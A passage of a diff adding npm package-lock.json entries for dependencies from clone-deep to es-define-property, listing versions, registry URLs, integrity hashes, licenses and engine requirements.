"sha512-we+NuQo2DHhSl+DP6jlUiAhyAjBQrYnpOk15rN6c6JSPScjiCLh8IbSU+VTcph6YS3o7mASE8a0+gbZ7ChLpgg==", + "license": "MIT", + "optional": true, + "dependencies": { + "for-own": "^0.1.3", + "is-plain-object": "^2.0.1", + "kind-of": "^3.0.2", + "lazy-cache": "^1.0.3", + "shallow-clone": "^0.1.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cluster-key-slot": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/cluster-key-slot/-/cluster-key-slot-1.1.2.tgz", + "integrity": "sha512-RMr0FhtfXemyinomL4hrWcYJxmX6deFdCxpJzhDttxgO1+bcCnkk+9drydLVDmAMG7NE6aN/fl4F7ucU/90gAA==", + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/code-excerpt": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/code-excerpt/-/code-excerpt-4.0.0.tgz", + "integrity": "sha512-xxodCmBen3iy2i0WtAK8FlFNrRzjUqjRsMfho58xT/wvZU1YTM3fCnRjcy1gJPMepaRlgm/0e6w8SpWHpn3/cA==", + "license": "MIT", + "optional": true, + "dependencies": { + "convert-to-spaces": "^2.0.1" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/color": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/color/-/color-5.0.3.tgz", + "integrity": "sha512-ezmVcLR3xAVp8kYOm4GS45ZLLgIE6SPAFoduLr6hTDajwb3KZ2F46gulK3XpcwRFb5KKGCSezCBAY4Dw4HsyXA==", + "license": "MIT", + "dependencies": { + "color-convert": "^3.1.3", + "color-string": "^2.1.3" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/color-convert": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-3.1.3.tgz", + "integrity": "sha512-fasDH2ont2GqF5HpyO4w0+BcewlhHEZOFn9c1ckZdHpJ56Qb7MHhH/IcJZbBGgvdtwdwNbLvxiBEdg336iA9Sg==", + "license": "MIT", + "dependencies": { + "color-name": "^2.0.0" + }, + "engines": { + "node": ">=14.6" + } + }, + "node_modules/color-name": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.1.1.tgz", + "integrity": "sha512-p2FdgwVx1a9yWBHP2wI0VgShkDpgN4kZISkxdNipGBJWpa5G6b04OINlVWCyJj0JmfvcPrgqt95E9k8yvaOJFg==", + "license": "MIT", + "engines": { + "node": ">=12.20" + } + }, + "node_modules/color-string": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/color-string/-/color-string-2.1.4.tgz", + "integrity": "sha512-Bb6Cq8oq0IjDOe8wJmi4JeNn763Xs9cfrBcaylK1tPypWzyoy2G3l90v9k64kjphl/ZJjPIShFztenRomi8WTg==", + "license": "MIT", + "dependencies": { + "color-name": "^2.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "optional": true, + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "15.0.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-15.0.0.tgz", + "integrity": "sha512-z67u4ZhzCL/Tydu1lJARtEZYWbWaN7oYLHbsuzocr6y4N6WZAagG3RQ4FW61V1/0+jImpj293XfrcYnd1qxtPg==", + "license": "MIT", + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/complex.js": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/complex.js/-/complex.js-2.4.3.tgz", + "integrity": "sha512-UrQVSUur14tNX6tiP4y8T4w4FeJAX3bi2cIv0pu/DTLFNxoq7z2Yh83Vfzztj6Px3X/lubqQ9IrPp7Bpn6p4MQ==", + "license": "MIT", + "engines": { + "node": "*" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/rawify" + } + }, + "node_modules/compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "license": "MIT", + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.8.2.tgz", + "integrity": "sha512-o8vI5RE5A6EVVOd9o41jKp41aJom+QTEO/Bx8MYNjexMo/Bv2WOjUfZr+aL0WnYSgymUy6zeguqLTsIhV0gMvQ==", + "license": "MIT", + "dependencies": { + "bytes": "3.1.2", + "compressible": "~2.0.18", + "debug": "2.6.9", + "destroy": "1.2.0", + "negotiator": "~0.6.4", + "on-headers": "~1.1.0", + "safe-buffer": "5.2.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/compression/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/compression/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "license": "MIT", + "optional": true + }, + "node_modules/content-disposition": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz", + "integrity": "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-to-spaces": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/convert-to-spaces/-/convert-to-spaces-2.0.1.tgz", + "integrity": "sha512-rcQ1bsQO9799wq24uE5AM2tAILy4gXGIK/njFWcVQkGNZ96edlpY+A7bjwvzjYvLDyzmG1MmMLZhpcsb+klNMQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/cookie": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", + "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==", + "license": "MIT", + "engines": { + "node": ">=6.6.0" + } + }, + "node_modules/cors": { + "version": "2.8.6", + "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz", + "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==", + "license": "MIT", + "dependencies": { + "object-assign": "^4", + "vary": "^1" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/crypt": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", + "integrity": "sha512-mCxBlsHFYh9C+HVpiEacem8FEBnMXgU9gy4zmNC+SXAZNB/1idgp/aulFJ4FgCi7GPEVbfyng092GqL2k2rmow==", + "license": "BSD-3-Clause", + "optional": true, + "engines": { + "node": "*" + } + }, + "node_modules/csv-parse": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/csv-parse/-/csv-parse-7.0.3.tgz", + "integrity": "sha512-YFd3QM/yo17vH91L1IOZuvl09zM0zEEtdfTcOCKWcMdM++MNaQSyp09slXyFCLaPXvHstQFx/xC8myiFHSMUvw==", + "license": "MIT" + }, + "node_modules/csv-stringify": { + "version": "6.9.0", + "resolved": "https://registry.npmjs.org/csv-stringify/-/csv-stringify-6.9.0.tgz", + "integrity": "sha512-6b3e29CILFfSQ2nDRuZMRROzQOpPuJ+s8zPB5H7eK5ncXBbFOyVuRLU5Sx/zAUmVri3Ly49GyC8NEme4SVSAbA==", + "license": "MIT" + }, + "node_modules/data-uri-to-buffer": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", + "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/debounce": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/debounce/-/debounce-3.0.0.tgz", + "integrity": "sha512-64byRbF0/AirwbuHqB3/ZpMG9/nckDa6ZA0yd6UnaQNwbbemCOwvz2sL5sjXLHhZHADyiwLm0M5qMhltUUx+TA==", + "license": "MIT", + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", + "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", + "license": "MIT" + }, + "node_modules/dedent": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.2.tgz", + "integrity": "sha512-WzMx3mW98SN+zn3hgemf4OzdmyNhhhKz5Ay0pUfQiMQ3e1g+xmTJWp/pKdwKVXhdSkAEGIIzqeuWrL3mV/AXbA==", + "license": "MIT", + "peerDependencies": { + "babel-plugin-macros": "^3.1.0" + }, + "peerDependenciesMeta": { + "babel-plugin-macros": { + "optional": true + } + } + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-browser": { + "version": "5.5.1", + "resolved": "https://registry.npmjs.org/default-browser/-/default-browser-5.5.1.tgz", + "integrity": "sha512-m1pAzaJgZ/gssEqlOhJkPJp8Xly7QyW6xcrkUa2KKcDeDSEMP7X8xipU3snUcfisTQx0w1AGae+9UtJSfVnXGw==", + "license": "MIT", + "optional": true, + "dependencies": { + "bundle-name": "^4.1.0", + "default-browser-id": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-browser-id": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/default-browser-id/-/default-browser-id-5.0.1.tgz", + "integrity": "sha512-x1VCxdX4t+8wVfd1so/9w+vQ4vx7lKd2Qp5tDRutErwmR85OgmfX7RlLRMWafRMY7hbEiXIbudNrjOAPa/hL8Q==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "license": "MIT", + "optional": true, + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-lazy-prop": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-3.0.0.tgz", + "integrity": "sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "license": "MIT", + "optional": true, + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/degenerator": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/degenerator/-/degenerator-7.0.1.tgz", + "integrity": "sha512-ABErK0IefDSyHjlPH7WUEenIAX2rPPnrDcDM+TS3z3+zu9TfyKKi07BQM+8rmxpdE2y1v5fjjdoAS/x4D2U60w==", + "license": "MIT", + "dependencies": { + "ast-types": "^0.13.4", + "escodegen": "^2.1.0", + "esprima": "^4.0.1" + }, + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "quickjs-wasi": "^2.2.0" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "license": "MIT", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-libc": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.2.tgz", + "integrity": "sha512-UX6sGumvvqSaXgdKGUsgZWqcUyIXZ/vZTrlRT/iobiKhGL0zL4d3osHj3uqllWJK+i+sixDS/3COVEOFbupFyw==", + "license": "Apache-2.0", + "engines": { + "node": ">=8" + } + }, + "node_modules/dotenv": { + "version": "17.4.2", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.4.2.tgz", + "integrity": "sha512-nI4U3TottKAcAD9LLud4Cb7b2QztQMUEfHbvhTH09bqXTxnSie8WnjPALV/WMCrJZ6UV/qHJ6L03OqO3LcdYZw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/drizzle-orm": { + "version": "0.45.3", + "resolved": "https://registry.npmjs.org/drizzle-orm/-/drizzle-orm-0.45.3.tgz", + "integrity": "sha512-CAloER21cDdcgZ1OmjrZX82EeRNsdP+y0onX/eyoYDaYzki/adrAa91lzM5jWh7zZPK4qUbw/6LGv9J+A+uizA==", + "license": "Apache-2.0", + "peerDependencies": { + "@aws-sdk/client-rds-data": ">=3", + "@cloudflare/workers-types": ">=4", + "@electric-sql/pglite": ">=0.2.0", + "@libsql/client": ">=0.10.0", + "@libsql/client-wasm": ">=0.10.0", + "@neondatabase/serverless": ">=0.10.0", + "@netlify/db": ">=0.4.0", + "@op-engineering/op-sqlite": ">=2", + "@opentelemetry/api": "^1.4.1", + "@planetscale/database": ">=1.13", + "@prisma/client": "*", + "@tidbcloud/serverless": "*", + "@types/better-sqlite3": "*", + "@types/pg": "*", + "@types/sql.js": "*", + "@upstash/redis": ">=1.34.7", + "@vercel/postgres": ">=0.8.0", + "@xata.io/client": "*", + "better-sqlite3": ">=7", + "bun-types": "*", + "expo-sqlite": ">=14.0.0", + "gel": ">=2", + "knex": "*", + "kysely": "*", + "mysql2": ">=2", + "pg": ">=8", + "postgres": ">=3", + "sql.js": ">=1", + "sqlite3": ">=5" + }, + "peerDependenciesMeta": { + "@aws-sdk/client-rds-data": { + "optional": true + }, + "@cloudflare/workers-types": { + "optional": true + }, + "@electric-sql/pglite": { + "optional": true + }, + "@libsql/client": { + "optional": true + }, + "@libsql/client-wasm": { + "optional": true + }, + "@neondatabase/serverless": { + "optional": true + }, + "@netlify/db": { + "optional": true + }, + "@op-engineering/op-sqlite": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + }, + "@planetscale/database": { + "optional": true + }, + "@prisma/client": { + "optional": true + }, + "@tidbcloud/serverless": { + "optional": true + }, + "@types/better-sqlite3": { + "optional": true + }, + "@types/pg": { + "optional": true + }, + "@types/sql.js": { + "optional": true + }, + "@upstash/redis": { + "optional": true + }, + "@vercel/postgres": { + "optional": true + }, + "@xata.io/client": { + "optional": true + }, + "better-sqlite3": { + "optional": true + }, + "bun-types": { + "optional": true + }, + "expo-sqlite": { + "optional": true + }, + "gel": { + "optional": true + }, + "knex": { + "optional": true + }, + "kysely": { + "optional": true + }, + "mysql2": { + "optional": true + }, + "pg": { + "optional": true + }, + "postgres": { + "optional": true + }, + "prisma": { + "optional": true + }, + "sql.js": { + "optional": true + }, + "sqlite3": { + "optional": true + } + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "license": "MIT", + "optional": true + }, + "node_modules/ecdsa-sig-formatter": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", + "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "safe-buffer": "^5.0.1" + } + }, + "node_modules/editions": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/editions/-/editions-6.22.0.tgz", + "integrity": "sha512-UgGlf8IW75je7HZjNDpJdCv4cGJWIi6yumFdZ0R7A8/CIhQiWUjyGLCxdHpd8bmyD1gnkfUNK0oeOXqUS2cpfQ==", + "license": "Artistic-2.0", + "dependencies": { + "version-range": "^4.15.0" + }, + "engines": { + "ecmascript": ">= es5", + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/enabled": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/enabled/-/enabled-2.0.0.tgz", + "integrity": "sha512-AKrN98kuwOzMIdAizXGI86UFBoo26CL21UM763y1h/GMSJ4/OHU9k2YlsmBpyScFo/wbLzWQJBMCW4+IO3/+OQ==", + "license": "MIT" + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/engine.io": { + "version": "6.6.11", + "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-6.6.11.tgz", + "integrity": "sha512-z34mGpLoY/82ZbkX1LqGMIaf3wjVMPL6gVC681QDqnmzJ26synI8qAE32P+a7UazmpJZ8UGrFIeAavgRfXzYrg==", + "license": "MIT", + "dependencies": { + "@types/cors": "^2.8.12", + "@types/node": ">=10.0.0", + "@types/ws": "^8.5.12", + "accepts": "~1.3.4", + "cookie": "~0.7.2", + "cors": "~2.8.5", + "debug": "~4.4.1", + "engine.io-parser": "~5.2.1", + "ws": "~8.21.0" + }, + "engines": { + "node": ">=10.2.0" + } + }, + "node_modules/engine.io-client": { + "version": "6.6.7", + "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-6.6.7.tgz", + "integrity": "sha512-GyAvmPA7gnRCpDQbYACAy79Lg4ewevrmaPzySZz0OVvgyZc3gEfLLqPTYk8wVBScjOEpM9ZO4KryyFpVItjGEA==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.4.1", + "engine.io-parser": "~5.2.1", + "ws": "~8.21.0", + "xmlhttprequest-ssl": "~2.1.1" + } + }, + "node_modules/engine.io-client/node_modules/ws": { + "version": "8.21.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.3.tgz", + "integrity": "sha512-201TZ/kPWxoPr/OKWjquZR1SWKXcvxdH+e1xrx89b3YbmzLMFCLfnaG1HFIgWzJOEWZ7MvpK++odZufgYR50Rw==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/engine.io-parser": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.2.3.tgz", + "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/engine.io/node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "license": "MIT", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/engine.io/node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/engine.io/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/engine.io/node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/engine.io/node_modules/ws": { + "version": "8.21.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.3.tgz", + "integrity": "sha512-201TZ/kPWxoPr/OKWjquZR1SWKXcvxdH+e1xrx89b3YbmzLMFCLfnaG1HFIgWzJOEWZ7MvpK++odZufgYR50Rw==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/entities": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-8.1.0.tgz", + "integrity": "sha512-kxL7msIffSuh9aaFAMD7rxAIuTRMAHMeBtgHW2yUdWw732ZNh4MehkF2gdjvtdmikkaIP9bFDDJOPlsvm7avrA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=20.19.0" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/environment": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/environment/-/environment-1.1.0.tgz", + "integrity": "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": 